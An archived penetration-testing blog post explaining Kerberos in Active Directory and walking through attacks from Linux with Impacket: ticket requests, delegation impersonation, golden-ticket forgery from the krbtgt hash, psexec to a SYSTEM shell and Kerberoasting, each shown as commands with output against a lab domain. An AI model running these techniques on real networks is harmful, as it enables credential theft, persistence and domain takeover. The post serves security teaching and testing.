Abusing Kerberos From Linux - An Overview of Available Tools - OnSecurity

By Calum Boal

Archived: 2026-04-06 00:06:02 UTC

Abusing Kerberos From Linux

This post aims to provide an overview of tooling available to perform common Kerberos abuse techniques from Linux. While this blog will not go into great detail about how the attacks which utilize these techniques work, references will be provided to high-quality blog posts detailing common Kerberos attacks.

Kerberos Overview

Before we jump into it, a brief preface shall be provided regarding the function of Kerberos within Active Directory, and why it's beneficial to be fluent in Kerberos manipulation when performing penetration tests.

Kerberos was first created at MIT and was later released as an open-source project towards the end of the 1980s. Kerberos aimed to solve the problem of allowing users to authenticate with a multitude of services deployed across many hosts, without the need to make the services themselves aware of the user's individual credentials prior to authentication.

MIT attempts to solve this problem by utilizing a centralized authentication daemon, which allows users to authenticate with the Kerberos service, and request tickets to access services existing outwith the context of the Kerberos service itself. These tickets would contain information identifying the user who requested the ticket and would also *be encrypted with the password of the service account*.

Once the user has received the requested ticket, they send it on to the service (principals) they wish to access. As the ticket is encrypted by the Kerberos service using the password of the requested service, the receiving service can *verify the authenticity of the ticket by successfully decrypting the ticket*. Once decrypted, the receiving service can verify that the identifying information within the decrypted ticket *matches that of the user who sent the ticket*.

To prevent users from having to manually authenticate with the Kerberos service every time they wish to access another service, the Kerberos service issues a ticket to the user for the Kerberos service itself. The ticket obtained from this process is known as a ticket-granting ticket (TGT). The TGT is then used in place of the user's credentials when requesting tickets for other services from the Kerberos service. It is important to note that as tickets are encrypted with the password of the service they are valid for, TGT's are encrypted with the password of the Kerberos service itself (in AD, this is the krbtgt user's NTLM hash).

Obviously the above is a great oversimplification of Kerberos version 4+, however, it conveys the core idea behind Kerberos, without going into much of the complexity which was added to mitigate certain weaknesses. To read more about how Kerberos functions, I would recommend checking out the dialogue released by MIT

regarding the design of Kerberos. Having read several explanations of Kerberos, the MIT dialogue was the first to make Kerberos click for me in a substantial, yet slightly cringe fashion.

Within Active Directory environments Kerberos, which can be found on port 88/TCP of Domain Controllers, allows users to authenticate with services such as CIFS (SMB shares), LDAP, Databases, etc. Additional Service Principal Names (SPN's) can also be created for other services that may be accessed using Kerberos authentication.

Why do we need to use Kerberos?

Now, you might be thinking that since you need a user's credentials (NTLM hash) to request a Kerberos ticket within Active Directory you might as well just use the credentials instead of tickets to authenticate with services such as SMB or LDAP. To a degree, you'd be correct in this assertion, using recovered credentials typically is easier than using tickets, however, tickets afford you certain benefits beyond those available by simply using credentials; namely:

- Some services do not allow direct logon via NTLM authentication and may require tickets
- Kerberos is required to abuse constrained/unconstrained delegation permissions
- Even if the user's credentials are changed, the ticket will remain valid (until it expires)
- Golden tickets can be forged which essentially never expire and can be used to persist access to services
- Tickets can also be forged which allow pivoting between domains in a forest with a trust relationship
- Kerberoasting attacks can often yield high-privileged credentials
- etc

Working with tickets

Requesting tickets

Now, onto the good stuff. First things first, we should know how to retrieve tickets for the services we wish to access. Tickets can be easily requested using impacket's `getST.py` (get silver ticket) script. If impacket is installed properly, `getST.py` should be on your `$PATH`, if not, `getST.py` along with the other impacket scripts mentioned throughout this blog can be found in the `examples` folder of the impacket repository.

Below is an example of the syntax used to request a ticket for the user `jane.adams` of the `veldt.com` domain, for the `cifs` (SMB) service (Principal) on the host `DC01.VELDT.COM`. The combination of the service (principal) and the host on which the service resides is referred to as the Service Principal Name (SPN).

```
 [h4x0r@mainframe ~]$ getST.py -dc-ip 192.168.100.5 -spn cifs/DC01.VELDT.COM 'VELDT.COM/jane.adams:Password_goes
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in jane.adams.ccache
```

Using tickets

In the above example, it is stated that the ticket has been saved to `jane.adams.ccache`. To inform other Impacket tools of where they can find the ticket to use, the `KRB5CCNAME` environment variable is set as follows:

```
[h4x0r@mainframe ~]$ export KRB5CCNAME=jane.adams.ccache
```

With the `KRB5CCNAME` environment variable now set, we can use the obtained ticket to authenticate as the previously specified user against the previously specified service.

Before we can successfully authenticate, we must make sure that we attempt to authenticate using information identical to that which was used when requesting the ticket. For example, we must refer to the target host by its fully qualified domain name when specifying the target (`jane.adams@dc01.veldt.com`). If DNS is not correctly configured for the internal domain in use, it possible to verbosely state the IP address of the target (`-target-ip`) and domain controller (`-dc-ip`). In many instances, the errors you encounter when trying to use Kerberos tickets from Linux will occur due to inconsistencies between information supplied when requesting, and using tickets.

In the example below, we use the previously retrieved Kerberos ticket to connect to `DC01` using `Impacket`'s `smbclient.py` script. Note the usage of `-k`, which specifies that Kerberos authentication should be used:

```
 [h4x0r@mainframe ~]$ smbclient.py jane.adams@DC01.VELDT.COM -k -no-pass
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

Type help for list of command

# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
#
```

Impersonation tickets

If you're lucky, you may find yourself in a situation where you've compromised a host or account, with some form of delegation rights configured (constrained or unconstrained). Thus, allowing you to request Kerberos tickets which can be used to impersonate arbitrary users when authenticating against certain SPN's (depending on the delegation configuration).

I won't go into detail regarding the delegation process as it's rather complex, however, I will refer you to the following resources which cover abusing delegation in-depth:

- Wagging the Dog
- S4U2Pwnage
- ADSecurity's blog

To request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets `getST.py` script, however, this time passing the `-impersonate` flag and specifying the user we wish to impersonate (any valid username):

```
 [h4x0r@mainframe ~]$ getST.py -spn HOST/SQL01.VELDT.COM 'VELDT.COM/IIS.Admin:Password_Goes_here' -impersonate A
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

Note that in the above example the supplied SPN must match one of the SPN's the supplied account is authorized to perform delegation against.

Golden tickets

Who doesn't love getting a Golden Ticket? I know I do, and what's more, I love having the ability to create one without having to mess about with Mimikatz or other Windows tooling which is bound to get flagged by AV at some point in your pen-testing endeavors. That's why we're covering requesting Golden Tickets using the tools available within `Impacket` (I'm sure you're noticing a pattern here).

Now for those of you who are unaware of the concept of Golden Tickets, I shall provide a brief overview. Remember at the start of this blog when I described the need for Ticket Granting Tickets and highlighted the importance of the fact they are encrypted with the `krbtgt` users NTLM hash? Well, the reason was that this is the crux of Golden Ticket forgery. If we have access to the NTLM hash of the `krbtgt` user (i.e. dumped it from a Domain Controller), we can forge ourselves Ticket Granting Tickets for any `SID` we like, and encrypt it with the NTLM hash of the `krbtgt` user to cement its authenticity.

You may wonder what the point of forging a Golden Ticket is if you already have the level of access required to dump NTLM hashes from a Domain Controller, and that's understandable. Thus, the following list highlights the benefits of using Golden Tickets during engagements:

- Golden tickets can be used to escalate privileges between two domains with configured trust relationships (see The Trustpocalypse, How does SID filtering work?, and Kerberos Golden Tickets are Now More Golden)
- Golden Tickets will remain valid even if a users password expires or is changed
- The only way to invalidate a Golden Ticket is to change the `krbtgt` users password twice

So, what do we need to forge Golden Tickets? As previously mentioned we need:

- NTLM hash of `krbtgt` user
- SID of target Domain

We'll assume you already have the NTLM hash of the `krbtgt` user, and just skip straight to obtaining the `SIDs`. To retrieve the target Domains `SID`, the script `lookupsid.py` from `Impacket` can be used as follows, with the target host being the Domain Controller:

```
 [h4x0r@mainframe ~]$ lookupsid.py veldt.com/jane.adams:Password_Goes_here@192.168.100.5
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 192.168.100.5
[*] StringBinding ncacn_np:192.168.100.5[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3698971782-1394112190-1761101054
498: VELDT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: VELDT\Administrator (SidTypeUser)
501: VELDT\Guest (SidTypeUser)
502: VELDT\krbtgt (SidTypeUser)
512: VELDT\Domain Admins (SidTypeGroup)
513: VELDT\Domain Users (SidTypeGroup)
514: VELDT\Domain Guests (SidTypeGroup)
515: VELDT\Domain Computers (SidTypeGroup)
516: VELDT\Domain Controllers (SidTypeGroup)
517: VELDT\Cert Publishers (SidTypeAlias)
518: VELDT\Schema Admins (SidTypeGroup)
519: VELDT\Enterprise Admins (SidTypeGroup)
520: VELDT\Group Policy Creator Owners (SidTypeGroup)
```

With the domain SID retrieved from the above command output `S-1-5-21-3698971782-1394112190-1761101054`, we can now use `ticketer.py` from `Impacket` to request a Golden Ticket. As Kerberos works with `SIDs` and not `SAM` usernames, the supplied username can be anything we like, even if the user does not exist. By default, the forged ticket will contain `SIDs` for the following groups (which can be referenced against the above output) – 513, 512, 520, 518, 519. However, an alternative list of groups can be specified using `-groups`. Finally, additional Domain `SIDs` can be specified using the `-extra-sid` flag, which is useful for pivoting across domain trusts.

```
 [h4x0r@mainframe ~]$ ticketer.py -nthash $NT_HASH_ONLY -domain-sid  S-1-5-21-3698971782-1394112190-1761101054 -
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for VELDT.COM/h4x0r
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
```

```
[*]     EncASRepPart
[*] Saving ticket in h4x0r.ccache
```

We can then set the `KRB5CCNAME` environment variable as previously described:

```
 [h4x0r@mainframe ~]$ export KRB5CCNAME=h4x0r.ccache
```

And then use `Impackets` `psexec.py` script to pop a shell as the non-existent user `h4x0r`, on any host in the Domain for which the `SID` was provided:

```
 [h4x0r@mainframe ~]$ psexec.py VELDT.COM/h4x0r@SQL01.VELDT.COM -k -no-pass -dc-ip 192.168.100.5 -target-ip 192

Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.100.16.....
[*] Found writable share ADMIN$
[*] Uploading file PBZpOwXM.exe
[*] Opening SVCManager on 192.168.100.16.....
[*] Creating service wssq on 192.168.100.16.....
[*] Starting service wssq.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

Kerberoasting

Ah Kerberoasting, what's not to love? If that question is not perceived as rhetorical, I'll provide a brief explanation of why it should be.

In short, SPN's in Active Directory are often tied to user accounts (as opposed to machine accounts) to allow services such as Databases or Web Servers to access resources based upon permissions configured for Active Directory users. Now, as we've mentioned, Kerberos tickets are encrypted with the NTLM hash of the SPN for which they are requested. Furthermore, the plaintext of the Kerberos ticket is known to the entity which requests it. As a result, it is possible to request Kerberos tickets for services that are configured with SPN's tied to user accounts and perform a brute-force attack to figure out what password was used to encrypt the ticket.

In many instances, such as the one below, SPN's will be tied to high-privilege (or more commonly over-privileged) Active Directory accounts. Typically this is due to SPN's being automatically configured by applications to have Administrative permissions, or system administrators deploying services where the required permissions are unknown so they just give the service Administrator permissions.

Below is an example of performing a Kerberoasting attack using `Impackets` `GetUserSPNs.py` script. The resulting Kerberos TGS's can be cracked using either John The Ripper or Hashcat (mode 13100).

```
 [h4x0r@mainframe ~]$ GetUserSPNs.py -dc-ip 192.168.100.5 'VELDT.COM/jane.adams:Password_goes_here'  -request
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

ServicePrincipalName  Name       MemberOf  PasswordLastSet             LastLogon
--------------------  ---------  --------  --------------------------  --------------------------
HTTP/IIS01.VELDT.COM  IIS.Admin            2020-01-26 19:55:02.893201  2020-01-26 21:18:16.328180

$krb5tgs$23$*IIS.Admin$VELDT.COM$HTTP/IIS01.VELDT.COM*$9ae7773caec31e3e4ce94afa33313e93$73272e7bb959ba7bc8cc120
...snipped...
```

Conclusion

Hopefully, this post has provided a decent overview of (ab)using Kerberos from Linux, and also demonstrated the reasons why you should do so.

If you'd like to play about with some of these techniques in a controlled environment, then I'd highly recommend the Offshore Prolab on hackthebox or building your own AD lab as I did while writing this blog.

If you have any questions about Kerberos, lab building, or anything really feel free to give me a message on Twitter (@Calum Boal), or drop me an email at calum.boal@onsecuriy.co.uk.

Source: https://www.onsecurity.io/blog/abusing-kerberos-from-linux/